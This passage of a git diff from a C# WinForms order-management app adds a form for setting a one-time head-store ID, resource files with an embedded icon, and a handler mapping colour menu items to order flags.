+ var shopid = DgvSendOrderList.Rows[mouseEvent.RowIndex].Cells["col_shop_id"].Value.ToString(); + int color = 3; + switch (tsmenu.Text) + { + case "灰色": + color = 0; + break; + case "紫色": + color = 1; + break; + case "蓝色": + color = 2; + break; + case "绿色": + color = 3; + break; + case "橙色": + color = 4; + break; + case "红色": + color = 5; + break; + } + mainform.chaqi(orderId, color, shopid); + } + } +} diff --git a/29WxOrder/OrderForms/SendOrderListForms.resx b/29WxOrder/OrderForms/SendOrderListForms.resx new file mode 100644 index 0000000..47c520c --- /dev/null +++ b/29WxOrder/OrderForms/SendOrderListForms.resx @@ -0,0 +1,210 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 17, 17 + + + 182, 17 + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + \ No newline at end of file diff --git a/29WxOrder/OrderForms/SetOnceOnlyUpIdForm.Designer.cs b/29WxOrder/OrderForms/SetOnceOnlyUpIdForm.Designer.cs new file mode 100644 index 0000000..2c84c37 --- /dev/null +++ b/29WxOrder/OrderForms/SetOnceOnlyUpIdForm.Designer.cs @@ -0,0 +1,146 @@ +namespace _29WxOrder.OrderForms +{ + partial class SetOnceOnlyUpIdForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(SetOnceOnlyUpIdForm)); + this.panel1 = new System.Windows.Forms.Panel(); + this.panel3 = new System.Windows.Forms.Panel(); + this.btsave = new DevComponents.DotNetBar.PanelEx(); + this.tbCustomProductId1 = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.label7 = new System.Windows.Forms.Label(); + ((System.ComponentModel.ISupportInitialize)(this.pbCloseBase)).BeginInit(); + this.panel1.SuspendLayout(); + this.panel3.SuspendLayout(); + this.SuspendLayout(); + // + // pbCloseBase + // + this.pbCloseBase.Location = new System.Drawing.Point(453, 0); + // + // panel1 + // + this.panel1.Controls.Add(this.panel3); + this.panel1.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel1.Location = new System.Drawing.Point(0, 32); + this.panel1.Name = "panel1"; + this.panel1.Padding = new System.Windows.Forms.Padding(2, 0, 2, 2); + this.panel1.Size = new System.Drawing.Size(485, 200); + this.panel1.TabIndex = 3; + // + // panel3 + // + this.panel3.BackColor = System.Drawing.Color.White; + this.panel3.Controls.Add(this.btsave); + this.panel3.Controls.Add(this.tbCustomProductId1); + this.panel3.Controls.Add(this.label7); + this.panel3.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel3.Location = new System.Drawing.Point(2, 0); + this.panel3.Name = "panel3"; + this.panel3.Size = new System.Drawing.Size(481, 198); + this.panel3.TabIndex = 0; + // + // btsave + // + this.btsave.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.btsave.CanvasColor = System.Drawing.SystemColors.Control; + this.btsave.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btsave.Cursor = System.Windows.Forms.Cursors.Hand; + this.btsave.DisabledBackColor = System.Drawing.Color.Empty; + this.btsave.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btsave.Location = new System.Drawing.Point(411, 165); + this.btsave.Name = "btsave"; + this.btsave.Size = new System.Drawing.Size(60, 23); + this.btsave.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btsave.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(251)))), ((int)(((byte)(251)))), ((int)(((byte)(251))))); + this.btsave.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(191)))), ((int)(((byte)(191)))), ((int)(((byte)(191))))); + this.btsave.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.btsave.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(171)))), ((int)(((byte)(171)))), ((int)(((byte)(171))))); + this.btsave.Style.CornerDiameter = 1; + this.btsave.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.btsave.Style.ForeColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64))))); + this.btsave.Style.GradientAngle = 90; + this.btsave.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.btsave.StyleMouseDown.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(241)))), ((int)(((byte)(241)))), ((int)(((byte)(241))))); + this.btsave.StyleMouseDown.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(171)))), ((int)(((byte)(171)))), ((int)(((byte)(171))))); + this.btsave.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btsave.StyleMouseOver.BackColor2.Color = System.Drawing.Color.LightGray; + this.btsave.TabIndex = 550; + this.btsave.Text = "保存"; + this.btsave.Click += new System.EventHandler(this.btsave_Click); + // + // tbCustomProductId1 + // + // + // + // + this.tbCustomProductId1.Border.Class = "TextBoxBorder"; + this.tbCustomProductId1.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.tbCustomProductId1.Location = new System.Drawing.Point(155, 72); + this.tbCustomProductId1.Name = "tbCustomProductId1"; + this.tbCustomProductId1.Size = new System.Drawing.Size(283, 21); + this.tbCustomProductId1.TabIndex = 512; + this.tbCustomProductId1.WatermarkText = "填写后默认为一次性总店ID,软件重启后即失效"; + // + // label7 + // + this.label7.AutoSize = true; + this.label7.Location = new System.Drawing.Point(45, 76); + this.label7.Name = "label7"; + this.label7.Size = new System.Drawing.Size(113, 12); + this.label7.TabIndex = 546; + this.label7.Text = "设置一次性总店ID:"; + // + // SetOnceOnlyUpIdForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(485, 232); + this.Controls.Add(this.panel1); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "SetOnceOnlyUpIdForm"; + this.Text = "设置一次性总店"; + this.TitleText = "设置一次性总店"; + this.Controls.SetChildIndex(this.panel1, 0); + ((System.ComponentModel.ISupportInitialize)(this.pbCloseBase)).EndInit(); + this.panel1.ResumeLayout(false); + this.panel3.ResumeLayout(false); + this.panel3.PerformLayout(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Panel panel1; + private System.Windows.Forms.Panel panel3; + private DevComponents.DotNetBar.Controls.TextBoxX tbCustomProductId1; + private System.Windows.Forms.Label label7; + private DevComponents.DotNetBar.PanelEx btsave; + } +} \ No newline at end of file diff --git a/29WxOrder/OrderForms/SetOnceOnlyUpIdForm.cs b/29WxOrder/OrderForms/SetOnceOnlyUpIdForm.cs new file mode 100644 index 0000000..e646058 --- /dev/null +++ b/29WxOrder/OrderForms/SetOnceOnlyUpIdForm.cs @@ -0,0 +1,47 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; +using Work.BaseForms; + +namespace _29WxOrder.OrderForms +{ + public partial class SetOnceOnlyUpIdForm : BaseForm + { + public static Dictionary dicOnceUpId = new Dictionary(); + public string _orderIds; + + public SetOnceOnlyUpIdForm(string orderIds = null) + { + InitializeComponent(); + + this._orderIds = orderIds; + } + + private void btsave_Click(object sender, EventArgs e) + { + if (string.IsNullOrEmpty(_orderIds)) + { + BaseMsgForm.ShowError("未选择订单"); + return; + } + var upId = tbCustomProductId1.Text.Trim(); + if (string.IsNullOrEmpty(upId)) + { + BaseMsgForm.ShowError("总店Id为空"); + return; + } + var orderIdArr = _orderIds.Split(','); + foreach (var oId in orderIdArr) + { + dicOnceUpId[oId] = upId; + } + this.Close(); + } + } +} diff --git a/29WxOrder/OrderForms/SetOnceOnlyUpIdForm.resx b/29WxOrder/OrderForms/SetOnceOnlyUpIdForm.resx new file mode 100644 index 0000000..85fc004 --- /dev/null +++ b/29WxOrder/OrderForms/SetOnceOnlyUpIdForm.resx @@ -0,0 +1,298 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAEAgIAQcgAAAABoKAAAFgAAACgAAACAAAAAAAEAAAEABAAAAAAAACgAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP// + AAD///8AAAAAAAAAAAAAAAAABEZmbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZkQAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAZszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMxmAAAAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMxkAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzGQAAAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMYAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAABszMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAbMzMzMzMzMzMzMzMzM + zMzMzMzMzMx3d4iIiIiIiIh3fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAABszMzMzMzMzMzM + zMzMzMzMzMzHeIiIiIj/////////iIiIiId8zMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAGzMzMzMzM + zMzMzMzMzMzMzMeIiI/////////////////////4iIh8zMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAATMzM + zMzMzMzMzMzMzMzMzHiI////////////////////////////iIfMzMzMzMzMzMzMzMzMzMzMxAAAAAAA + AGzMzMzMzMzMzMzMzMzMx3iP///////////////////////////////4iHzMzMzMzMzMzMzMzMzMzMYA + AAAAAAbMzMzMzMzMzMzMzMzMx3iP//////////////////////////////////+IfMzMzMzMzMzMzMzM + zMzMYAAAAABMzMzMzMzMzMzMzMzMx3iP/////////////////////////////////////4h8zMzMzMzM + zMzMzMzMzMQAAAAAbMzMzMzMzMzMzMzMzHiP////////////////////////////////////////h3zM + zMzMzMzMzMzMzMzGAAAABMzMzMzMzMzMzMzMzHiP//////////////////////////////////////// + //iHzMzMzMzMzMzMzMzMzEAAAAbMzMzMzMzMzMzMzMeI//////////////////////////////////// + ////////+IfMzMzMzMzMzMzMzMxgAABMzMzMzMzMzMzMzMx4//////////////////////////////// + //////////////+IfMzMzMzMzMzMzMzMxAAAbMzMzMzMzMzMzMzHj/////////////////////////// + /////////////////////4fMzMzMzMzMzMzMzMYAAMzMzMzMzMzMzMzMeP////////////////////// + ///////////////////////////4fMzMzMzMzMzMzMzMAAbMzMzMzMzMzMzMx4////////////////// + /////////////////////////////////4fMzMzMzMzMzMzMzGAGzMzMzMzMzMzMzHj///////////// + ///////////////////////////////////////4fMzMzMzMzMzMzMxgDMzMzMzMzMzMzMyI//////// + /////////////////////////////////////////////4zMzMzMzMzMzMzMwEzMzMzMzMzMzMzHj/// + //////////////////////////////////////////////////+HzMzMzMzMzMzMzMRszMzMzMzMzMzM + eP//////////////////////////////////////////////////////+HzMzMzMzMzMzMzGbMzMzMzM + zMzMzHj///////////////////////////////////////////////////////+MzMzMzMzMzMzMxmzM + zMzMzMzMzMyP////+IiP////////////////////////////////////////+I//////h8zMzMzMzMzM + zMZszMzMzMzMzMzHj////4iIiI//////////////////////////////////////+IiIj/////jMzMzM + zMzMzMzGbMzMzMzMzMzMyP////iIiIiI/////////////////////////////////////4iIiIj////4 + fMzMzMzMzMzMxszMzMzMzMzMzHj////4iIiIiP////////////////////////////////////+IiIiI + j////4zMzMzMzMzMzMbMzMzMzMzMzMx4////iIiIiIj////////////////////////////////////4 + iIiIiI////+HzMzMzMzMzMzMzMzMzMzMzMzMj////4iIiIiI//////////////+IiP//iI////////// + ////+IiIiIiP////h8zMzMzMzMzMzMzMzMzMzMzMzI/////4iIiIiP/////////////4d3eIiIeIj/// + //////////+IiIiIj/////jMzMzMzMzMzMzMzMzMzMzMzMyP////+IiIiIj/////////////iIiId3eI + iI//////////////iIiIiI/////4zMzMzMzMzMzMzMzMzMzMzMzHj/////+IiIiP/////////////4// + /4d4j/+P//////////////iIiIj/////+MzMzMzMzMzMzMzMzMzMzMzMx4//////+IiP//////////// + ///////4j///////////////////iIiP//////jMzMzMzMzMzMzMzMzMzMzMzMeP//////////+IiIj/ + ///////////////////////////////////////////4fMzMzMzMzMzMzMzMzMzMzMzH//////////+H + fMx8eP//////////////////////////iId3iP//////////+HzMzMzMzMzMzMzMzMzMzMzMyP////// + ///4fMzHh8eP////////////////////////+MzMzMd4//////////h8zMzMzMzMzMzMzMzMzMzMzMf/ + ////////+MzMePjMeP///////////////////////4zMzMeHx4/////////4fMzMzMzMzMzMzMzMzMzM + zMzH/////////4fMd3eHzMeP//////////////////////iMzMzIiHx4////////+HzMzMzMzMzMzMzM + zMzMzMzMx/////////+Hx4iIfMzMj//////////////////////4h3d8x4h8yP////////jMzMzMzMzM + zMzMzMzMzMzMzMeP////////+HiP+IfMzI//////////////////////+HiIiHd3zHj////////4zMzM + zMzMzMzMzMzMzMzMzMzHj/////////h4//+HzMeP//////////////////////h4//h8zMyP//////// + +MzMzMzMzMzMzMzMzMzMzMzMzI/////////4iP//h8x4///////////////////////4j//4fMzHj/// + //////jMzMzMzMzMzMzMzMzMzMzMzMyP///////4iIiP+IfHj///////////////////////+Ij/+HzM + eP/////////4zMzMzMzMzMzMzMzMzMzMzMzMj///////iIiIiIh3eP////////////////////////+I + j4h8x3iI////////h8zMzMzMzMzMzMzMzMzMzMzMzH//////+Hj///iIiI////////////////////// + /////4iId4iIiIj//////4zMzMzMzMzMzMzMzMzMzMzMzMx4//////iP////iP////////////////// + /////////////4iP//iI//////+MzMzMzMzMzMzMzMzMzMzMzMzMyP//////////+I////////////// + ///////////////////4eP//iP//////jMzMzMzMzMzMzMzMzMzMzMzMzMj///////////iP//////// + /////////////////////////4j/////////+HzMzMzMzMzMzMzMzMzMzMzMzMzHj/////////////// + //////////////////////////////+I//////////jMzMzMzMzMzMzMzMzMzMzMzMzMzI////////// + //////////////////////////////////////////////+HzMzMzMzMzMzMzMzMzMzMzMzMzMyP//// + ////////////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzM + eP///////////////////////////////////////////////////////4zMzMzMzMzMzMzMzMzMzMzM + zMzMzMj///////////////////////////////////////////////////////h8zMzMzMzMzMzMzMzM + zMzMzMzMzMzHj//////////////////////////////////////////////////////4zMzMzMzMzMzM + zMzMzMzMzMzMzMzMzI//////////////////////////////////////////////////////h8zMzMzM + zMzMzMzMzMzMzMzMzMzMzMx4////////////////////////////////////////////////////+HzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMyI////+I//////////////////////////////////////////// + //h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP////+Ij///////////////////////////////////// + //////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP////+IiIiIj//////////////////////////4 + ////iI/////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMiP/////4iIiP////////////////////// + ////+IiIiIj/////iHzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP////////////////////////// + ///////////4iIj//////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP//////////////////// + //////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP////////////// + //////////////////////////////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHj///////// + ///////////////////////////////////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP//// + ////////////////////////////////////////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzI + j/////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMeP//////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMx4////////+I//////////////////////////////////////jMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMeP///////4iIj///////////////////////////iP///////4fMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMx4////////iIiIiP///////////////////////4iIiP///////4zMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiI////////////////////+IiIiIj///////+HzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIj////////////////////4iIiIiIj/////// + +MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiI////////////////////+IiIiIiI// + //////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIiP////////////////////iIiI + iIiI///////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiIj/////iIiIiIiIj///// + /4iIiIiIiP///////4zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIiI/////4zMzMzMzM + j/////+IiIiIiIiP//////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP//////+IiIiIiIj/////+MzM + zMzMzI//////+IiIiIiIj///////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzI////////iIiIiIiI//// + //jMzMzMzMyP//////iIiIiIiIj///////jMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP///////4iIiIiI + iP/////4zMzMzMzMj//////4iIiIiIiI///////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzI////////iI + iIiIiI//////+MzMzMzMzI//////+IiIiIiIiP///////4zMzMzMzMzMzMzMzMzMzMzMzMzMzMyP//// + ///4iIiIiIiP//////fMzMzMzMyP//////+IiIiIiIj///////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzH + j///////+IiIiIiI//////+HzMzMzMzMeP//////iIiIiIiIj///////jMzMzMzMzMzMzMzMzMzMzMzM + zMzMyP////////iIiIiIiP//////jMzMzMzMzHj///////iIiIiIiI///////4fMzMzMzMzMzMzMzMzM + zMzMzMzMzMj///////+IiIiIiI///////4zMzMzMzMzI///////4iIiIiIiI///////3zMzMzMzMzMzM + zMzMzMzMzMzMzMzI////////iIiIiIiP//////+MzMzMzMzMyP//////+IiIiIiIiP//////+MzMzMzM + zMzMzMzMzMzMzMzMzMzMeP///////4iIiIiIj///////jMzMzMzMzMj///////+IiIiIiIj///////jM + zMzMzMzMzMzMzMzMzMzMzMzMzI////////+IiIiIiP//////+HzMzMzMzMzHj///////iIiIiIiI//// + ///4zMzMzMzMzMzMzMzMzMzMzMzMzMyP////////iIiIiI////////jMzMzMzMzMzI///////4iIiIiI + iI//////+MzMzMzMzMzMzMzMzMzMzMzMzMzMj////////4iIiIiP///////4zMzMzMzMzMyP///////4 + iIiIiIiP//////jMzMzMzMzMzMzMzMzMzMzMzMzMzI////////+IiIiI////////h8zMzMzMzMzMeP// + /////4iIiIiIj//////4fMzMzMzMzMzMzMzMzMzMzMzMzMyP////////iIiIj////////4fMzMzMzMzM + zHj///////+IiIiIiI//////+HzMzMzMzMzMzMzMzMzMzMzMzMzHj/////////iIiP////////+MzMzM + zMzMzMzI////////+IiIiIiP//////h8zMzMzMzMzMzMxmzMzMzMzMzMx4/////////4iP/////////4 + fMzMzMzMzMzMx4////////+IiIiIj//////4fMzMzMzMzMzMzMZszMzMzMzMzMeP//////////////// + ////+MzMzMzMzMzMzMyP////////iIiIiP//////+HzMzMzMzMzMzMzGbMzMzMzMzMzH//////////// + //////////fMzMzMzMzMzMzMeP////////iIiIj///////98zMzMzMzMzMzMxmzMzMzMzMzMyP////// + //////////////+HzMzMzMzMzMzMzHj/////////+IiP////////jMzMzMzMzMzMzMZszMzMzMzMzMj/ + ////////////////////jMzMzMzMzMzMzMzIj////////////////////4zMzMzMzMzMzMzGTMzMzMzM + zMzH////////////////////+HzMzMzMzMzMzMzMx4////////////////////+MzMzMzMzMzMzMxAzM + zMzMzMzMx/////////////////////jMzMzMzMzMzMzMzMyI///////////////////4fMzMzMzMzMzM + zMAGzMzMzMzMzMeP//////////////////+HzMzMzMzMzMzMzMzMeP//////////////////+HzMzMzM + zMzMzMxgBszMzMzMzMzHj//////////////////4fMzMzMzMzMzMzMzMzMeP//////////////////h8 + zMzMzMzMzMzMYADMzMzMzMzMzI//////////////////+HzMzMzMzMzMzMzMzMzHj/////////////// + ///4zMzMzMzMzMzMzAAAbMzMzMzMzMyP/////////////////4fMzMzMzMzMzMzMzMzMzHj///////// + ////////+MzMzMzMzMzMzMYAAEzMzMzMzMzMj/////////////////+MzMzMzMzMzMzMzMzMzMzIj/// + /////////////4fMzMzMzMzMzMzEAAAGzMzMzMzMzHj////////////////4fMzMzMzMzMzMzMzMzMzM + x4////////////////+MzMzMzMzMzMzMYAAABMzMzMzMzMx4////////////////h8zMzMzMzMzMzMzM + zMzMzMx4///////////////4fMzMzMzMzMzMzEAAAABszMzMzMzMx4//////////////+HzMzMzMzMzM + zMzMzMzMzMzMx4//////////////+MzMzMzMzMzMzMYAAAAATMzMzMzMzMyP/////////////4fMzMzM + zMzMzMzMzMzMzMzMzMeI/////////////4fMzMzMzMzMzMzEAAAAAAbMzMzMzMzMeP////////////h8 + zMzMzMzMzMzMzMzMzMzMzMzMeI////////////h8zMzMzMzMzMzMYAAAAAAAbMzMzMzMzMeP//////// + //iHzMzMzMzMzMzMzMzMzMzMzMzMzMyI//////////+HzMzMzMzMzMzMxgAAAAAAAEzMzMzMzMzMeP// + //////iHfMzMzMzMzMzMzMzMzMzMzMzMzMzMx4/////////4fMzMzMzMzMzMzMQAAAAAAAAGzMzMzMzM + zMeI//////iHfMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4j//////4h8zMzMzMzMzMzMxgAAAAAAAAAGzM + zMzMzMzMx4iIiIiHzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiIj/+Ih3zMzMzMzMzMzMzGAAAAAAAA + AAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx3iId8zMzMzMzMzMzMzMYAAA + AAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + xgAAAAAAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzGAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzGQAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMYAAAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAABGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAAAABmzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzGYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARGZmzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZEAAAAAAAAAAAAAAAAD////+AAAAAAAAAAD/////////AAAA + AAAAAAAAAP//////+AAAAAAAAAAAAAAf/////+AAAAAAAAAAAAAAB/////+AAAAAAAAAAAAAAAH////+ + AAAAAAAAAAAAAAAAf////AAAAAAAAAAAAAAAAD////AAAAAAAAAAAAAAAAAP///gAAAAAAAAAAAAAAAA + B///wAAAAAAAAAAAAAAAAAP//4AAAAAAAAAAAAAAAAAB//8AAAAAAAAAAAAAAAAAAP/+AAAAAAAAAAAA + AAAAAAB//gAAAAAAAAAAAAAAAAAAf/wAAAAAAAAAAAAAAAAAAD/4AAAAAAAAAAAAAAAAAAAf+AAAAAAA + AAAAAAAAAAAAH/AAAAAAAAAAAAAAAAAAAA/wAAAAAAAAAAAAAAAAAAAP4AAAAAAAAAAAAAAAAAAAB+AA + AAAAAAAAAAAAAAAAAAfAAAAAAAAAAAAAAAAAAAADwAAAAAAAAAAAAAAAAAAAA8AAAAAAAAAAAAAAAAAA + AAOAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAABAAAAAAAA + AAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 